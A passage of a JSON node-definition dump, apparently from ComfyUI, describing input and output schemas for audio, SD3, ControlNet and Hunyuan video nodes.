["LATENT", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudio", "display_name": "VAE Decode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudioTiled": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "tile_size": ["INT", {"default": 512, "min": 32, "max": 8192, "step": 8}], "overlap": ["INT", {"default": 64, "min": 0, "max": 1024, "step": 8}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudioTiled", "display_name": "VAE Decode Audio (Tiled)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudio": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudio", "display_name": "Save Audio (FLAC) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export flac"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioMP3": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioMP3", "display_name": "Save Audio (MP3) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export mp3"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioOpus": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioOpus", "display_name": "Save Audio (Opus) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export opus"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudioAdvanced": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd%.", "default": "audio/ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the audio.", "options": [{"key": "flac", "inputs": {"required": {}}}, {"key": "mp3", "inputs": {"required": {"quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}}}, {"key": "opus", "inputs": {"required": {"quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioAdvanced", "display_name": "Save Audio (Advanced)", "description": "Saves the input audio to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save audio", "export audio", "output audio", "write audio", "flac", "mp3", "opus"], "essentials_category": null, "has_intermediate_output": false}, "LoadAudio": {"input": {"required": {"audio": ["COMBO", {"multiselect": false, "options": [], "audio_upload": true}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadAudio", "display_name": "Load Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import audio", "open audio", "audio file"], "essentials_category": "Audio", "has_intermediate_output": false}, "PreviewAudio": {"input": {"required": {"audio": ["AUDIO", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "PreviewAudio", "display_name": "Preview Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["play audio"], "essentials_category": null, "has_intermediate_output": false}, "ConditioningStableAudio": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "seconds_start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1000.0, "step": 0.1}], "seconds_total": ["FLOAT", {"default": 47.0, "min": 0.0, "max": 1000.0, "step": 0.1}]}}, "input_order": {"required": ["positive", "negative", "seconds_start", "seconds_total"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ConditioningStableAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/conditioning/stable audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecordAudio": {"input": {"required": {"audio": ["AUDIO_RECORD", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecordAudio", "display_name": "Record Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["microphone input", "audio capture", "voice input"], "essentials_category": null, "has_intermediate_output": false}, "TrimAudioDuration": {"input": {"required": {"audio": ["AUDIO", {}], "start_index": ["FLOAT", {"tooltip": "Start time in seconds, can be negative to count from the end (supports sub-seconds).", "default": 0.0, "min": -18446744073709551615, "max": 18446744073709551615, "step": 0.01}], "duration": ["FLOAT", {"tooltip": "Duration in seconds", "default": 60.0, "min": 0.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "start_index", "duration"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimAudioDuration", "display_name": "Trim Audio Duration", "description": "Trim audio tensor into chosen time range.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut audio", "audio clip", "shorten audio"], "essentials_category": null, "has_intermediate_output": false}, "SplitAudioChannels": {"input": {"required": {"audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO", "AUDIO"], "output_is_list": [false, false], "output_name": ["left", "right"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitAudioChannels", "display_name": "Split Audio Channels", "description": "Separates the audio into left and right channels.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["stereo to mono"], "essentials_category": null, "has_intermediate_output": false}, "JoinAudioChannels": {"input": {"required": {"audio_left": ["AUDIO", {}], "audio_right": ["AUDIO", {}]}}, "input_order": {"required": ["audio_left", "audio_right"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinAudioChannels", "display_name": "Join Audio Channels", "description": "Joins left and right mono audio channels into a stereo audio.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioConcat": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "direction": ["COMBO", {"tooltip": "Whether to append audio2 after or before audio1.", "default": "after", "multiselect": false, "options": ["after", "before"]}]}}, "input_order": {"required": ["audio1", "audio2", "direction"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioConcat", "display_name": "Concatenate Audio", "description": "Concatenates the audio1 to audio2 in the specified direction.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join audio", "combine audio", "append audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioMerge": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "merge_method": ["COMBO", {"tooltip": "The method used to combine the audio waveforms.", "multiselect": false, "options": ["add", "mean", "subtract", "multiply"]}]}}, "input_order": {"required": ["audio1", "audio2", "merge_method"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioMerge", "display_name": "Merge Audio", "description": "Combine two audio tracks by overlaying their waveforms.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix audio", "overlay audio", "layer audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioAdjustVolume": {"input": {"required": {"audio": ["AUDIO", {}], "volume": ["INT", {"tooltip": "Volume adjustment in decibels (dB). 0 = no change, +6 = double, -6 = half, etc", "default": 1, "min": -100, "max": 100}]}}, "input_order": {"required": ["audio", "volume"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioAdjustVolume", "display_name": "Adjust Audio Volume", "description": "Adjust the volume of the audio by a specified amount in decibels (dB).", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio gain", "loudness", "audio level"], "essentials_category": null, "has_intermediate_output": false}, "EmptyAudio": {"input": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of the empty audio clip in seconds", "default": 60.0, "min": 0.0, "max": 18446744073709551615, "step": 0.01}], "sample_rate": ["INT", {"tooltip": "Sample rate of the empty audio clip.", "advanced": true, "default": 44100, "min": 1, "max": 192000}], "channels": ["INT", {"tooltip": "Number of audio channels (1 for mono, 2 for stereo).", "advanced": true, "default": 2, "min": 1, "max": 2}]}}, "input_order": {"required": ["duration", "sample_rate", "channels"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAudio", "display_name": "Empty Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blank audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioEqualizer3Band": {"input": {"required": {"audio": ["AUDIO", {}], "low_gain_dB": ["FLOAT", {"tooltip": "Gain for Low frequencies (Bass)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "low_freq": ["INT", {"tooltip": "Cutoff frequency for Low shelf", "default": 100, "min": 20, "max": 500}], "mid_gain_dB": ["FLOAT", {"tooltip": "Gain for Mid frequencies", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "mid_freq": ["INT", {"tooltip": "Center frequency for Mids", "default": 1000, "min": 200, "max": 4000}], "mid_q": ["FLOAT", {"tooltip": "Q factor (bandwidth) for Mids", "default": 0.707, "min": 0.1, "max": 10.0, "step": 0.1}], "high_gain_dB": ["FLOAT", {"tooltip": "Gain for High frequencies (Treble)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "high_freq": ["INT", {"tooltip": "Cutoff frequency for High shelf", "default": 5000, "min": 1000, "max": 15000}]}}, "input_order": {"required": ["audio", "low_gain_dB", "low_freq", "mid_gain_dB", "mid_freq", "mid_q", "high_gain_dB", "high_freq"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEqualizer3Band", "display_name": "Audio Equalizer (3-Band)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["eq", "bass boost", "treble boost", "equalizer"], "essentials_category": null, "has_intermediate_output": false}, "TripleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripleCLIPLoader", "display_name": "Load CLIP (Triple)", "description": "Recipes:\nsd3: clip-l, clip-g, t5", "python_module": "comfy_extras.nodes_sd3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptySD3LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptySD3LatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/latent/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSD3": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "empty_padding": ["COMBO", {"advanced": true, "multiselect": false, "options": ["none", "empty_prompt"]}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "empty_padding"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSD3", "display_name": "CLIP Text Encode (SD3)", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sd3 prompt"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetApplySD3": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetApplySD3", "display_name": "Apply Controlnet with VAE", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceSD3": {"input": {"required": {"model": ["MODEL", {}], "layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "layers", "scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceSD3", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_sd3", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GITSScheduler": {"input": {"required": {"coeff": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.8, "max": 1.5, "step": 0.05}], "steps": ["INT", {"default": 10, "min": 2, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["coeff", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "GITSScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_gits", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetUnionControlNetType": {"input": {"required": {"control_net": ["CONTROL_NET", {}], "type": ["COMBO", {"multiselect": false, "options": ["auto", "openpose", "depth", "hed/pidi/scribble/ted", "canny/lineart/anime_lineart/mlsd", "normal", "segment", "tile", "repaint"]}]}}, "input_order": {"required": ["control_net", "type"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetUnionControlNetType", "display_name": "Set Union ControlNet Type", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["set controlnet type", "union controlnet type"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetInpaintingAliMamaApply": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "mask": ["MASK", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "mask", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetInpaintingAliMamaApply", "display_name": "Apply ControlNet Inpainting (AliMama)", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["masked controlnet"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHunyuanDiT": {"input": {"required": {"clip": ["CLIP", {}], "bert": ["STRING", {"multiline": true, "dynamicPrompts": true}], "mt5xl": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "bert", "mt5xl"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHunyuanDiT", "display_name": "CLIP Text Encode (Hunyuan Image)", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeHunyuanVideo_ImageToVideo": {"input": {"required": {"clip": ["CLIP", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "image_interleave": ["INT", {"tooltip": "How much the image influences things vs the text prompt. Higher number means more influence from the text prompt.", "advanced": true, "default": 2, "min": 1, "max": 512}]}}, "input_order": {"required": ["clip", "clip_vision_output", "prompt", "image_interleave"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeHunyuanVideo_ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanLatentVideo", "display_name": "Empty HunyuanVideo 1.0 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanVideo15Latent": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanVideo15Latent", "display_name": "Empty HunyuanVideo 1.5 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 33, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15SuperResolution": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"vae": ["VAE", {}], "start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"], "optional": ["vae", "start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15SuperResolution", "display_name": "Hunyuan Video 1.5 Super Resolution", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15LatentUpscaleWithModel": {"input": {"required": {"model": ["LATENT_UPSCALE_MODEL", {}], "samples": ["LATENT", {}], "upscale_method": ["COMBO", {"default": "bilinear", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]}], "width": ["INT", {"default": 1280, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 720, "min": 0, "max": 16384, "step": 8}], "crop": ["COMBO", {"multiselect": false, "options": ["disabled", "center"]}]}}, "input_order": {"required": ["model", "samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "HunyuanVideo15LatentUpscaleWithModel", "display_name": "Hunyuan Video 15 Latent Upscale With Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyhuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentUpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["LATENT_UPSCALE_MODEL"], "output_is_list": [false], "output_name": ["LATENT_UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentUpscaleModelLoader", "display_name": "Load Latent Upscale Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 53, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "guidance_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["v1 (concat)", "v2 (replace)", "custom"]}]}, "optional": {"start_image": ["IMAGE", {}]}}, 